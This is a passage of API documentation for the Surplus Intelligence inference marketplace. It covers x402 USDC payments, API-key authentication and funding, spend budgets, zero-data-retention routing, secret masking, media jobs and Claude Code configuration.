const account = privateKeyToAccount(process.env.PRIVATE_KEY); const publicClient = createPublicClient({ chain: base, transport: http() }); createWalletClient({ account, chain: base, transport: http() }).extend(publicActions); const signer = { address: account.address, signTypedData: (msg) => account.signTypedData(msg), readContract: publicClient.readContract.bind(publicClient), getTransactionCount: publicClient.getTransactionCount.bind(publicClient), estimateFeesPerGas: publicClient.estimateFeesPerGas.bind(publicClient), }; const body = { model: 'llama-3.3-70b', messages: [{ role: 'user', content: 'Hello' }], max_tokens: 100 }; const challenge = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body) }); const paymentRequired = JSON.parse(Buffer.from(challenge.headers.get('PAYMENT-REQUIRED'), 'base64').toString()); const upto = paymentRequired.accepts.find((a) => a.scheme === 'upto'); const paymentPayload = await new UptoEvmScheme(signer).createPaymentPayload(2, upto); const paymentHeader = Buffer.from(JSON.stringify(paymentPayload)).toString('base64'); const paid = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'PAYMENT-SIGNATURE': paymentHeader }, body: JSON.stringify(body) }); console.log(await paid.json()); ``` ### Using Python ```python from x402 import x402_fetch response = x402_fetch( 'https://api.surplusintelligence.ai/v1/chat/completions', wallet=wallet, method='POST', json={ 'model': 'llama-3.3-70b', 'messages': [{'role': 'user', 'content': 'Hello'}], 'max_tokens': 100, } ) ``` ### 402 Response Format The response includes both `exact` and `upto` payment requirements. Current production responses emit `exact` first and `upto` second, but clients should select by `scheme` rather than array position. ```json { "x402Version": 2, "accepts": [ { "scheme": "exact", "network": "eip155:8453", "asset": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", "amount": "1000", "payTo": "0x...", "maxTimeoutSeconds": 120, "extra": { "name": "USD Coin", "version": "2" } }, { "scheme": "upto", "network": "eip155:8453", "asset": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", "amount": "1000", "payTo": "0x...", "maxTimeoutSeconds": 120, "extra": { "name": "USD Coin", "version": "2", "facilitatorAddress": "0x..." } } ], "resource": { "url": "/v1/chat/completions", "description": "LLM inference request for model llama-3.3-70b", "mimeType": "application/json" } } ``` - `amount` is in USDC micro-units (6 decimals). "1000" = $0.001 USDC. - `payTo` is the settlement address on Base. **Read it from the challenge every time — never hard-code it.** It is derived from the operator wallet, which rotates. - `asset` is the USDC contract on Base. - The same data is in the `PAYMENT-REQUIRED` response header (base64-encoded). ### Pricing Pricing is model-specific and market-based. SI routes to the cheapest available seller for the requested model. Prices are often below direct provider rates, but the final amount is always returned in the 402 challenge. On the synchronous routes, `upto`'s `amount` is the authorized maximum and settlement is `min(actual, authorized)` — the flat fee and the 10% estimation buffer are already inside that maximum, so an `upto` client is charged its real usage plus the fee and no more. `exact` settles the whole advertised amount, buffer included. **Async media does not work this way**: the full authorization is settled at submission, and any excess comes back as fiat credit — see "Async media over x402 pays differently" above. To require a minimum discount versus direct provider rates, prefix a `/v1/...` path with `/min{N}` (use an integer 0–100). Example: `POST /min50/v1/chat/completions` only routes to marketplace sellers ≥50% cheaper than the reference price rather than falling back to full price — typically returning `404 minimum_discount_not_met` when otherwise-eligible healthy sellers miss the floor (including temporary health pauses; retry with backoff), or another no-supply/gate error if no healthy seller reaches the floor check (x402 never returns `503 minimum_discount_supply_cooldown`). **`/v1/embeddings` has no `/min{N}` mirror** and is excluded from every discount floor. See "Requiring a discount" below for the other two ways to set one. --- ## Path B — an API key, for anything long-running Four steps: authenticate, fund, cap, call. **Read this before planning the sequence: TWO DIFFERENT CREDENTIALS ARE INVOLVED, and the one you mint by SIWE cannot do all four.** A buyer key spends and reads. It cannot manage budgets or mint keys — those are a separate control plane: | capability | buyer key (`inf_…`) | management key / dashboard session | |---|---|---| | run inference, spend credit or USDC | ✅ | ❌ (a management key is refused on inference) | | read balance, spend, requests, audit, payouts | ✅ | ✅ | | `PUT`/`DELETE /v1/budgets` (B3) | ❌ `403 forbidden` | ✅ | | `POST`/`PATCH`/`DELETE /v1/keys` (B6) | ❌ `403 forbidden` | ✅ | So B3 and B6 need a **management key** (`key_type: "admin"`) or a signed-in session; B2 and B4 work with the buyer key from B1. The first management key cannot be minted over the API by a buyer key — it comes from the dashboard, because minting one requires the `keys.manage` capability a buyer key does not have. An agent that needs to cap its own spend unattended must therefore be ISSUED a management key up front; it cannot bootstrap one from a wallet signature alone. ### B1 · Authenticate (SIWE — no browser) ``` GET /v1/buyer/auth/challenge?address=0xYourWallet → a SIWE message to sign POST /v1/buyer/auth/keys → your buyer key { "message": "", "signature": "0x...", "label": "my-agent" } ``` The response carries an `inf_…` buyer key. **It is shown once.** Send it on every call as: ``` Authorization: Bearer inf_0f8c2a1b4d6e47f9a3c5b7d9e1f24680 ``` (the prefix is `inf_` followed by 32 hex characters; a management key is `inf_admin_…` and a seller key `si_seller_…`). This key spends and reads; it does NOT manage budgets or keys — see the table above. Sellers use the identical flow at `/v1/seller/auth/challenge` and `/v1/seller/auth/keys`, which returns an `si_seller_…` key. `GET /v1/auth/session` describes the current session and what the principal may do. **Secret masking: ask your user.** A new account starts with secret masking off and the choice open. The B1 response carries `secret_masking_choice: "undecided"` and `docs_url` (the masking guide). Ask your user whether they want masking, then save the answer with this key (a key minted with `expires_at` is restricted and gets `403 restricted_key` here; mint one without, or answer in the dashboard): ``` PUT /v1/buyer/preferences { "preferences": { "mask_secrets": true } } (or false) ``` That makes `secret_masking_choice` `"decided"`. Until someone decides, the account stays unmasked, and the dashboard asks the user on their next sign-in. Details under "Masking secrets in a prompt" below. **Activation.** `GET /v1/account/activation` reports whether anything is outstanding for a new account and `PATCH /v1/account/activation` (requires `Idempotency-Key`) updates it. Check it once after minting your first key rather than discovering a block mid-flow. ### B2 · Fund it — fiat credit or deposited USDC **Check first:** ``` GET /v1/payments/balance ``` Every money value below is an integer-microdollar STRING. This example is a buyer holding **$142.18**: ```jsonc { "credit_balance_usdc": "142180000", // your Balance: card credit + deposited USDC, net of in-flight holds = $142.18. Show this as "Balance". "fiat_available_usdc": "120000000", // $120.00 card credit — spendable, NOT withdrawable "usdc_available_usdc": "22180000", // $22.18 deposited USDC — spendable AND withdrawable "fiat_held_usdc": "0", // reserved against in-flight requests "usdc_held_usdc": "0", "pending_deposit_usdc": "0", // seen on chain, not yet credited "pending_withdrawal_usdc": "0", // prepared but not submitted "pending_deposits": [], // each with amount_usdc (µ$ string), observed time, confirmations "pending_deposit_count": 0, // a NUMBER "deposit_address": "0x...", // your address — see below "deposit_chain_id": 8453, "deposit_min_confirmations": 20, // READ IT — per-environment configuration, not a constant "account_status": "active", // active | frozen | closed "withdrawals_paused": false, "prefunded_usdc_enabled": true, "stripe_fee_mode": "actual", // "actual" | "flat" — BRANCH ON THIS before previewing a fee "stripe_fee_bps": 290, // a NUMBER — 2.9%; only exact in "flat" mode, see the fee note below "stripe_fee_fixed_micro": "300000", // a STRING — $0.30 "stripe_invoice_fee_bps": 40, // a NUMBER — 0.4% "stripe_invoice_fee_max_micro": "2000000" // a STRING — $2.00 cap } ``` `balance_usdc` and `allowance_usdc` are also present and also µ$ strings; both describe the deprecated on-chain allowance rail and are not what you spend. **Fiat credit (card, via Stripe).** Returns a hosted Checkout URL to send the user to: ``` POST /v1/payments/topup Idempotency-Key: { "amountUsd": 50, "return_to": "dashboard" } ``` `amountUsd` is **dollars**, and camelCase — the one place this API takes either. It is bounded **$10 minimum, $2000 maximum**; outside that is a 400. `"save_card": true` (optional, snake_case) is the user's explicit opt-in to having this top-up's card saved for reuse. **Do not send it unless the user asked** — the card is saved only with it (and only while the platform allows saving). Enrolling in auto top-up (below) saves the card by its own consent, with or without this field. **Crediting is NET of fees, and the fee is usually NOT KNOWABLE in advance.** You are charged `amountUsd` and credited `amountUsd − fee`. Which fee depends on `stripe_fee_mode`, which the balance response exposes — branch on it rather than computing blind: - **`actual`** (the default, and what production runs): the fee is the REAL one Stripe deducted, read from the charge's `balance_transaction` when it lands, including international and Amex surcharges. **It cannot be computed up front**, and `POST /v1/payments/topup` therefore omits `fee_usd`/`credit_usd` from its response. The `stripe_fee_*` fields on the balance response are a reasonable ESTIMATE for a preview; they are not the figure that will be credited. - **`flat`**: the fee is known at session-create, so the top-up response DOES carry `fee_usd` and `credit_usd` — **read those rather than recomputing**, since the same function stamps them, the session metadata and the webhook credit, and cannot drift. The formula behind them is `round(amount × stripe_fee_bps / 10_000) + stripe_fee_fixed_micro`, plus an invoicing surcharge of `stripe_invoice_fee_bps` capped at `stripe_invoice_fee_max_micro` *when that surcharge is enabled* — it is a separate switch, so whether a $50 top-up credits $48.25 or $48.05 depends on it. Hence: read the echoed fields. Either way: **never tell a user they will receive the amount they paid**, and in `actual` mode do not promise an exact figure before the charge lands. Poll `GET /v1/payments/balance` for what was really credited. `return_to` accepts `"dashboard"` (lands on `/app/buy/funding`), any path under `/app`, or `"legacy"`. **Omitting it means `legacy`**, which lands on `/payments/success` and forwards into the dashboard — so pass `"dashboard"` explicitly if you want a direct landing. An unrecognised value is a 400 `invalid_return_to` rather than a silent fallback. The balance updates on Stripe's webhook, not on redirect, so poll `GET /v1/payments/balance` rather than trusting the return. `POST /v1/payments/billing-portal` returns a Stripe portal URL for managing the saved card. It takes the same `return_to` and throws `404 no_billing_history` for an account that has never topped up. `DELETE /v1/payments/saved-card` removes the saved card outright (idempotent; a repeat answers `{"removed": false}`). If the card is what an active auto top-up charges, the removal turns auto top-up off with it, and while a charge is mid-flight the route answers `400 auto_topup_charging` — retry in a moment. `GET /v1/payments/history` lists past top-ups (50 per page). **Deposited USDC (on-chain).** Get the address, send USDC on Base to it, wait for confirmations: ``` GET /v1/payments/deposit-address ``` The address is **per account** and stable — reuse it. Send only USDC (`0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913`) on Base (chain id `8453`). Credit appears after `deposit_min_confirmations`; before that it shows in `pending_deposits[]`. Deposited USDC is the only balance you can take back out: ``` POST /v1/payments/withdraw Idempotency-Key: { "amount_micro": "10000000", "destination": "0xYourWallet" } ``` `amount_micro` is a **string** of microdollars. Omit it to withdraw everything available. Withdrawals refuse while `withdrawals_paused` is true, and the route answers **404 when the prefunded-USDC rail is disabled for the environment** — so treat a 404 here as "not available", not "wrong path". **Keep it funded automatically** — the agent-friendly option: ``` PUT /v1/payments/auto-topup Idempotency-Key: { "thresholdMicro": 5000000, "refillToMicro": 50000000 } ``` When spendable credit falls below `thresholdMicro`, the card on file is charged back up to `refillToMicro`. Both are microdollars and camelCase. Both sit in a **$5–$2000** band and `refillToMicro` must exceed `thresholdMicro` by at least $5. `GET` reads the current setting and the card on file; `DELETE` turns it off (and also requires an `Idempotency-Key`). ### B3 · Cap what it can spend — do this before letting an agent run **Needs a management key or a session, not the buyer key from B1** — a buyer key gets `403 forbidden` here (`requires budgets.manage`). Budgets are the control a user actually wants when delegating spend. A hard-stopped budget refuses the request with `402 budget_exceeded` **while the account still has money**, which is the point. ``` PUT /v1/budgets Idempotency-Key: { "scope_type": "key", // key | member | workspace | org "scope_id": "", "limit_day_micro": 5000000, // $5.00/day "limit_month_micro": 100000000, // $100.00/month "hard_stop": true, // false = alert only, never block "alert_threshold_pct": 80 } ``` `GET /v1/budgets` lists them; `GET /v1/budgets/spend` returns current spend per budget in one call; `DELETE /v1/budgets/{scope_type}/{scope_id}` removes one (`Idempotency-Key` required). Windows are UTC. A paused budget keeps counting but never blocks. Set `hard_stop: true` for an autonomous agent — without it, a budget only warns. The 402's `detail` carries `{window, limit_micro, spent_micro, resets_at}`, so you can tell the user when it clears. ### B4 · Call inference Point any OpenAI client at the base URL: ```python from openai import OpenAI client = OpenAI(api_key="inf_...", base_url="https://api.surplusintelligence.ai/v1") client.chat.completions.create(model="llama-3.3-70b", messages=[{"role": "user", "content": "Hello"}]) ``` Streaming, tools and the usual parameters work. Provider extras pass through. **Reading the cost of a call.** A known priced non-streamed response carries `usage.buyer_cost_micro` in the body and `x-si-buyer-cost-micro` as a header. A streamed response cannot carry the header because HTTP headers freeze at the first byte. On `/v1/chat/completions` and `/v1/completions`, send `stream_options: {"include_usage": true}` for a final `choices: []` token-usage chunk. `/anthropic/v1/messages` needs no opt-in: `message_start.usage` is a zero placeholder. When the seller reports usage, `message_delta.usage` carries the cumulative counts; otherwise all four fields are a zero placeholder and `GET /v1/requests/{id}` is authoritative. `/v1/responses` also needs no opt-in: available token counts arrive on the terminal event's `response.usage`. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. Use `GET /v1/requests` as the authoritative reconciliation record. | Method | Path | Description | |--------|------|-------------| | GET | /v1/models | Live catalog with pricing | | GET | /v1/models/{id} | One model | | GET | /v1/prices | Direct provider price comparison matrix | | GET | /v1/providers | Known providers | | POST | /v1/chat/completions | Chat completions (OpenAI-compatible) | | POST | /v1/completions | Legacy completions | | POST | /v1/responses | OpenAI Responses API | | POST | /v1/decisions | Structured decisions: OpenAI's Decisions API (`input` + an ordered `questions` array, `client.decisions.create`) or the JEV format (`state` + a `questions` map). Input-token billing only | | POST | /v1/embeddings | Embeddings (no `/min{N}` mirror) | | POST | /v1/audio/* | Speech and transcription | | POST | /v1/images/generations | Image generation | | POST | /v1/images/edits | Image editing | | POST | /v1/video/generations | Video generation (async; poll the job) | | POST | /v1/music/generations | Music generation (async; poll the job) | | POST | /anthropic/v1/messages | Anthropic Messages API — see the skin section | | GET | /api/markets | Market summary per model | | GET | /api/markets/{model} | Order book and recent fills for one model | | GET | /v1/markets/usage-leaderboard | Most-used models | **Routing controls**, as request fields or headers: pin a `provider`, pass a `provider_base_url`, set `max_price_per_1m`, or require a minimum discount (next section). When no qualifying marketplace offer can serve the request and no buyer-owned priority/fallback provider applies, a floor fails rather than falling back to full price — typically `404 minimum_discount_not_met` or `404 max_price_exceeded` (including temporary gaps such as floor-meeting sellers health-paused after upstream errors; retry with backoff), or (when cooldown reporting is enabled) it may return `503 minimum_discount_supply_cooldown` with `Retry-After` on eligible credit/on-chain text and decisions routes when floor-meeting sellers are briefly rate-limited, or another no-supply/gate error if no healthy sellers reach the floor check. #### Requiring a discount — three ways, strictest wins 1. **The URL mirror:** `POST /min50/v1/chat/completions`. Use an integer 0–100 with no leading zeros (`min0`–`min100`). An out-of-range or leading-zero value such as `/min500` or `/min030` is rejected before routing with `400 invalid_min_discount` (same 0–100 integer rule as `X-Min-Discount`). No mirror for `/v1/embeddings`. 2. **A request header:** `X-Min-Discount: 50` (sent as `x-min-discount`; headers are case-insensitive). THIS one is range-checked — a non-integer or anything outside 0–100 is `400 invalid_min_discount_header`. 3. **Per key, persistently:** the key's `scope.min_discount_pct` (0–100), set at mint or via `PUT /v1/buyer/keys/{id}/preferences`. `GET`/`PUT /v1/buyer/preferences` holds the account default. When more than one applies, the resolved floor is `max(url, header, key)` — **the strictest wins**, so a key-level floor cannot be lowered by a request. Note that `0` on a key is a real value meaning "no floor", which is not the same as leaving it unset. #### Requiring zero data retention (ZDR) — four ways, any one is enough When ZDR routing is available, a ZDR request is served only by a provider labelled ZDR: one whose own published API terms say request inputs and outputs are not kept beyond processing, for every API account, and whose account owner (the seller) has no setting that stores or exposes prompts. Labels come from the providers' published terms; they are reviewed by Surplus, not certified. Only trusted, direct providers are labelled, never an aggregator, so a ZDR request is trusted-only whatever `allow_untrusted` says. Each label carries its evidence: `GET /api/providers` returns `zdr`, `zdr_evidence_url` and `zdr_reviewed_on` per provider, and `GET /v1/providers` returns `zdr`. **Check `zdr_routing_available` on `GET /api/providers` (or `GET /v1/buyer/preferences`) first.** While it is `false`, ZDR is not enforced. Depending on the service, a ZDR request then either answers a retryable `503 zdr_routing_unavailable`, whatever form it takes, or is served as an ordinary request: the header and body forms are not applied and a `/zdr` URL is not a route (`404`). A key set to ZDR answers `503` in both cases. Do not rely on ZDR until `zdr_routing_available` is `true`. 1. **The URL:** `POST /zdr/v1/chat/completions`. It stacks with a discount floor in either order (`/min30/zdr/v1/...` or `/zdr/min30/v1/...`) and works after `/anthropic` for messages (`/anthropic/zdr/v1/messages`). On `/v1/embeddings` use `/zdr/v1/embeddings` (no floor there). `zdr` must be lower-case, appear once (`/zdr/zdr/...` is `400 invalid_route_qualifier`), and sit directly before `/v1` or before the `/min{N}` segment; a combined segment such as `/min30-zdr` is not supported. `/zdr/v1/models` and `/zdr/v1/prices` answer as the plain routes, so a base URL of `https://api.surplusintelligence.ai/zdr/v1` works unchanged in an OpenAI SDK. 2. **A request header:** `X-SI-Require: data.zdr` (comma-separated with any other ids; on inference the other ids are ignored). 3. **The body:** `"provider": {"zdr": true}` on `/v1/completions`, `/anthropic/v1/messages`, `/v1/responses` and `/v1/decisions`. Chat completions has no body form; use the URL or the header there. A `zdr` that is not a boolean is `400 unsupported_parameter`. 4. **Per key, persistently:** `provider_trust: "zdr"` on `POST /v1/keys` or `PATCH /v1/keys/{id}` ("ZDR providers only" in the dashboard). Every request on that key is ZDR; no request can turn it off. Any other `provider_trust` value turns it off again. Buyer keys only, and only while `zdr_routing_available` is true (`400 invalid_provider_trust` otherwise). A key set to ZDR is a restricted key, as a trusted-only key is. The forms combine: any one makes the request ZDR, and none can loosen another. A discount floor, a provider pin and `providers_blocked` still apply on top. Your own priority and fallback provider keys are used only when their provider is labelled ZDR; otherwise they are skipped for that request. What you get back: - **No labelled seller for the model** (within your pin, if you pinned): `404 zdr_unavailable`, before any hold, 402 challenge or charge. It never falls back to an unlabelled seller. Pick a model with ZDR supply: the order book marks each offer `zdr`, and `GET /api/markets` carries `best_zdr_offer_discount_pct` once the market summary is published from the live provider policy. - **Labelled sellers exist but none is healthy right now:** `503 no_healthy_sellers`, as for any request. - **`"store": true`** (where it would be forwarded) **or any `"prompt_cache_retention"`** on a ZDR request: `400 zdr_conflicting_parameter`, `param` naming the field. Both ask the provider to keep data. - **Images, audio (speech and transcription), video and music:** `400 zdr_unsupported_endpoint`. ZDR covers chat, completions, messages, responses, decisions and embeddings. - A served ZDR request is marked `zdr_required` in its request detail (`GET /v1/requests/{requestId}`). On the Provider Market (`/v1/resources/*`), `data.zdr` keeps its trait meaning instead: an offer whose seller verified it (`503 trait_unavailable` when none does). A `/zdr` URL or a ZDR key adds `data.zdr` there too. A follow-up call on a job already bound to a seller keeps that seller. #### Standardized reasoning and output contract On `/v1/chat/completions` (non-streaming, long-running assembled, and SSE `stream: true`), Surplus normalizes reasoning output and usage identically across every text provider (both ECS and edge Worker): - **Output fields (`choices[i].message` and streaming `choices[i].delta`):** `reasoning` (canonical readable text), `reasoning_content` (permanent compatibility alias mirroring `reasoning`), and `reasoning_details` (OpenRouter-shaped array of `reasoning.text`, `reasoning.summary`, and `reasoning.encrypted` entries; `format` and `index` are present on synthesized entries and optional on pass-through / Anthropic redacted encrypted entries). Complete signed `reasoning.text` (`signature` + `text`) and `reasoning.encrypted` entries are preserved verbatim; Anthropic `signature_delta` SSE fragments receive matching `format` and `index: 0` for merging; `__ENCRYPTED_REASONING__` sentinels and non-standard `reasoning_encrypted` fields are scrubbed into `reasoning.encrypted`. When no reasoning was produced (including empty `""` / `[]` or models emitting no thought text such as OpenAI o-series), all three fields are omitted and empty reasoning-only SSE deltas are dropped. - **Excluding reasoning output:** `reasoning: { "exclude": true }` (or legacy `include_reasoning: false` when `reasoning.exclude` is not explicitly set) strips `reasoning`, `reasoning_content`, and `reasoning_details` from Chat Completions output and drops excluded reasoning-only SSE deltas. The model still reasons, reasoning tokens remain billed at the output rate, and `usage.completion_tokens_details.reasoning_tokens` is still reported when known (omitted when unreported upstream). Explicit `reasoning.exclude` takes precedence over `include_reasoning`; ignored on `/v1/responses`. - **Canonical `usage`:** `usage.completion_tokens_details.reasoning_tokens` is the single reasoning token count (non-canonical upstream alias leaves — `completionTokensDetails.reasoningTokens`, `output_tokens_details.reasoning_tokens`, top-level `reasoning_tokens`, `thoughts_token_count` — are moved and removed, keeping sibling keys and deleting empty containers). `usage.completion_tokens` **always includes** `reasoning_tokens` (including on Google Vertex), and `usage.total_tokens = usage.prompt_tokens + usage.completion_tokens`. Unreported counts (e.g. Anthropic direct, Bedrock, Snowflake, AI Studio when absent) are omitted, never invented. On reasoning models, `max_tokens` caps total completion tokens including hidden reasoning tokens — too small a `max_tokens` can exhaust the budget on reasoning and return empty `content` with `finish_reason: "length"`. - **Unified request contract:** Accepts `reasoning: { effort?, max_tokens?, enabled?, exclude? }` (or `false`), flat `reasoning_effort`, and legacy `include_reasoning` (`true` → `{ enabled: true }`, `false` → `{ exclude: true }` when `reasoning` is absent). Nested-capable chat hosts (`openrouter`, `venice`, `mordiem`, `concentrate`, `softforge`, `pearl`) receive nested `reasoning`; flat-only hosts project to `reasoning_effort`; Anthropic wire uses OpenRouter's effort-to-budget ratios (`max`/`xhigh: 0.95`, `high: 0.80`, `medium: 0.50`, `low: 0.20`, `minimal: 0.10`), clamped to `[1,024, 128,000]` and `< max_tokens` (no `thinking` block when `max_tokens <= 1,024`), with adaptive thinking on `claude-opus-4.7`/`4.8`. Explicit native `thinking: { type: "enabled", budget_tokens }` with `budget_tokens >= max_tokens` fails fast with `400 invalid_reasoning_budget` (unified `reasoning.max_tokens` clamps below `max_tokens` when `max_tokens > 1,024` with `X-SI-Adapted-Params: reasoning`). - **Capability discovery:** `GET /v1/models` exposes an optional data-driven `reasoning` object (`mandatory`, `default_enabled`, `supported_efforts`, `default_effort`, `supports_max_tokens`) when populated in catalog metadata. Full specification: https://www.surplusintelligence.ai/docs/reference/output-spec #### Masking secrets in a prompt (beta) — off unless something turns it on An optional extra layer of protection. On a masked request, API keys, private keys, seed phrases, passwords and tokens are replaced with placeholders (`SI_SECRET__<8 chars>`) before it is routed, and EVERY value is put back in the response — prose, code, tool-call arguments, structured output, links and markup, passwords and seed phrases alike. Only the model's reasoning is left as written (signed reasoning must be replayed byte for byte), so a reply never carries a placeholder your agent has to work around. Three switches. Any one turns masking ON, and none can turn it off for a request another one turned on: 1. **Per request:** `X-SI-Mask-Secrets: on`. Exactly `on`; anything else, an empty value or a repeated header is `400 invalid_secret_masking_header`. It applies at once. 2. **Per key:** `mask_secrets: true` via `PUT /v1/buyer/keys/{id}/preferences`, or on `POST /v1/keys` / `PATCH /v1/keys/{id}`. 3. **Account-wide:** `mask_secrets: true` via `PUT /v1/buyer/preferences`. It covers every key; a key's `false` does not opt out of it. To turn it off: drop the header, and set the key's or the account's `mask_secrets` to `false` or `null` (the switch that turned it on). A key cannot opt out of an account that masks — turn the account off and switch keys on one by one instead. Turning off also takes up to ~31 s to reach every server. A stored switch applies from `secret_masking_effective_at`, which the write returns (about 31 s later; about 70 s right after masking is turned on for the service); send the header until then. The preference responses carry `secret_masking_available`: when it is `false`, masking is paused on the service and a request that asks for it is sent WITHOUT masking (no `x-si-secret-masking` header on its response) — check that header if you need to know. **The preference PUTs merge:** a field you leave out is unchanged and `null` clears that field, so you can set `mask_secrets` alone. Text endpoints only: `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/anthropic/v1/messages` and `/v1/decisions`, with their `/min{N}` mirrors. **Embeddings, images, audio, video, music and x402 resources are never masked:** a masked key or account works there like any other key, the request is sent as it is, and while masking is running its response carries `x-si-secret-masking: not_applied`. A masked response carries `x-si-secret-masking: applied` and `x-si-secrets-masked: `. Placeholders left in place are counted in `x-si-secrets-withheld` on a JSON response, or in one SSE comment line, `: si-secrets-withheld `, just before a stream's final event — each only when the count is more than 0. **What it trusts.** Values are restored wherever the model writes them: a command that sends a placeholder to the seller's own server gets the real value if you run it; a link or image carrying one sends it to that host when a client renders or previews it; and a password repeated on a later turn without its context goes upstream unmasked. Check commands before running them, as you would without masking. If masking was asked for, is running, and cannot be applied, the request is refused before funding and nothing is sent; the codes are in the Errors table above. **The account's choice.** A new account is unmasked and `undecided`. `GET`/`PUT /v1/buyer/preferences` and a new buyer key (`POST /v1/buyer/auth/keys`, `POST /v1/buyer/keys`, `POST /v1/keys`) return `secret_masking_choice` (`undecided` or `decided`) and `docs_url`. Any `PUT /v1/buyer/preferences` that writes `mask_secrets` decides it. Add `"expected_secret_masking_choice": "undecided"` beside `preferences` to write only while nobody has chosen; if someone already did, nothing is written and the answer is `409 masking_choice_already_made`. Ask your user rather than choosing for them. Inference responses never carry either field, and every masking refusal's `message` contains a link to the guide. Full guide: /docs/guides/secret-masking #### Media generation is asynchronous Submit, then poll. **Paying for one over x402 charges the full quoted maximum up front** rather than actual usage — see "Async media over x402 pays differently" in Path A. On a prepaid-credit key it is an ordinary hold-then-capture, so the refund of any unused estimate is simply credit you can spend. ``` POST /v1/video/generations → a job GET /v1/video/generations/{id} → status; same shape for /v1/music/generations/{id} DELETE /v1/video/generations/{id} → cancel GET /v1/media/artifacts/{jobId}/{index} → the output itself — see below, it is NOT a JSON URL ``` **The artifact endpoint does not return a URL in a body.** It answers in one of three shapes depending on how the job was delivered, so **follow redirects and do not parse JSON**: - **`302` to a short-TTL presigned S3 URL** — an SI-hosted artifact. The presigned URL is short-lived (~15 min), so follow it promptly rather than storing it. - **`302` to the provider's own URL** — a provider-hosted artifact (the poll response already carries this URL too, so you may not need this call at all). - **The bytes, streamed directly** — relay mode, where nothing is stored on our side. Any HTTP client that follows redirects by default (curl `-L`, `fetch`, `requests`) handles all three. Errors, all four of them: - **`404 not_found`** covers a missing job, a job that has not succeeded, and a missing artifact index — one code for all three. A job you are not authorised for also 404s rather than 403s, so a 404 is not proof the job is absent. - **`404 artifact_expired`** is distinct, but appears only where expiry enforcement is switched on. - **`503 artifact_unavailable`** when a relay-mode artifact is requested somewhere the relay is not configured. Retryable. Artifacts are retained about 3 hours in production; a presigned URL lives 15 minutes. ### B5 · Read back what it spent | | | |---|---| | `GET /v1/payments/balance` | live balances, all three figures | | `GET /v1/payments/withdrawable` | what a withdrawal would pay right now, and why not if it would be refused | | `GET /v1/payments/history` | past top-ups | | `GET /v1/buyer/overview?range=7d\|30d\|90d` | spend, savings, pace, daily series, top models | | `GET /v1/buyer/savings?period=daily\|weekly\|all_time` | saved versus reference prices | | `GET /v1/requests` | the request log — per-call cost, model, provider, latency, settlement | | `GET /v1/requests/{requestId}` | one request; `/facets` for the filter vocabulary | | `GET /v1/budgets/spend` | spend against every budget | | `GET /v1/analytics/spend/{summary,trend,breakdown}` | precomputed spend analytics | | `GET /v1/analytics/savings/summary` | precomputed savings | | `POST /v1/analytics/explorer` | a bounded ad-hoc query; poll `/{queryId}`, then `/export` | | `GET /v1/audit` | the account's audit trail; `/export` for a file | | `GET /v1/buyer/usage/export` | usage as a file | | `GET /v1/attention` | what needs the user's attention right now, ranked | **Pagination.** `GET /v1/requests` takes `limit` (default 50, max 200) and `cursor`; pass the returned cursor back to continue. Page sizes differ per endpoint — `/v1/audit` is a fixed 50 and ignores `limit`, `/v1/payments/history` is 50, `/v1/seller/earnings-history` is 25 (max 50). Filters on `/v1/requests`: `from`/`to`, comma lists for `model`/`provider`/`key_id`, `statuses`, `funding`, `cache`, `latency_*`, `search`, `endpoint`, `member_id`. **A filtered read is rate-limited far more tightly** (60/min, not 300/min), so paginate rather than re-querying. These are precomputed reads and are cheap to poll at human intervals; they are not a streaming feed. **`coverage: false` is not zero.** `GET /v1/buyer/overview` can answer with `coverage: false` and every figure null, which means the aggregate has not been computed for that window — not that the account spent nothing. Omit the number; never render it as `0`. **Prompt and response bodies are not stored by default.** Metadata, token counts, cost and settlement fields are. Body capture is an explicit opt-in: `PUT /v1/requests/settings {"body_capture_enabled": true}`, after which `GET /v1/requests/{requestId}/bodies` returns them. Leave it off unless the user asked for it. ### B6 · Manage keys **This whole surface needs a management key or a session** (`requires keys.manage`); the buyer key from B1 gets `403 forbidden` on every route below, including rotating itself. The section heading used to say "its own keys", which was wrong in both directions. ``` POST /v1/keys mint (Idempotency-Key REQUIRED) { "name": "ci-runner", "key_type": "buyer", "budget": { "limit_day_micro": 1000000, "hard_stop": true }, "expires_in_seconds": 86400, "ephemeral": true } GET /v1/keys list (never returns the secret) PATCH /v1/keys/{id} rename, re-scope, change the budget (required) POST /v1/keys/{id}/rotate new secret, same id and settings (required) DELETE /v1/keys/{id} revoke immediately (required) ``` The field is `name` here. (`POST /v1/buyer/auth/keys`, the SIWE mint, calls it `label` — the one inconsistency worth remembering.) A key may carry its own budget, an expiry, and a scope. Two separate refusals apply and they are often confused: a **scoped** key gets `403 restricted_key` if it tries to mint, and **any buyer key — scoped or not — gets `403 forbidden`** on this surface because minting needs `keys.manage`. Either way a key you hand to a subagent cannot mint a sibling, which is what makes it safe to hand over. `ephemeral: true` plus `expires_in_seconds` is the right shape for a short-lived task. **There is a ceiling of 200 keys per workspace**, past which minting answers `429 too_many_keys`. An agent that mints a key per task must revoke them, or reuse one scoped key. ## Anthropic API ("Anthropic Skin") — Claude Code & the Anthropic SDK Surplus speaks Anthropic's Messages API, so Claude Code and the Anthropic Agent SDK can route through the marketplace with only environment variables — no local proxy. Same idea as OpenRouter's Anthropic skin. It is model-agnostic: route Claude Code to Claude OR to GPT/GLM/Llama/Gemini/DeepSeek/etc. via the `model` string. The OpenAI-compatible `/v1/...` surface is unchanged; the skin lives under `/anthropic`. Base URL (set as `ANTHROPIC_BASE_URL`): `https://api.surplusintelligence.ai/anthropic` (The Anthropic client appends `/v1/messages`. Auth: a Surplus buyer key `inf_…` via `ANTHROPIC_AUTH_TOKEN` (→ `Authorization: Bearer`) or `x-api-key`; set `ANTHROPIC_API_KEY=""`.) Claude Code config (these 3 vars are the whole required setup): ```bash export ANTHROPIC_BASE_URL="https://api.surplusintelligence.ai/anthropic" export ANTHROPIC_AUTH_TOKEN="inf_your_key" export ANTHROPIC_API_KEY="" ``` Model env vars are OPTIONAL — with none set, Claude Code uses its built-in default models and the marketplace serves them. Set them only to pin a specific model, control cost, or run on a non-Claude model (if you pin one slot, pin both): ```bash export 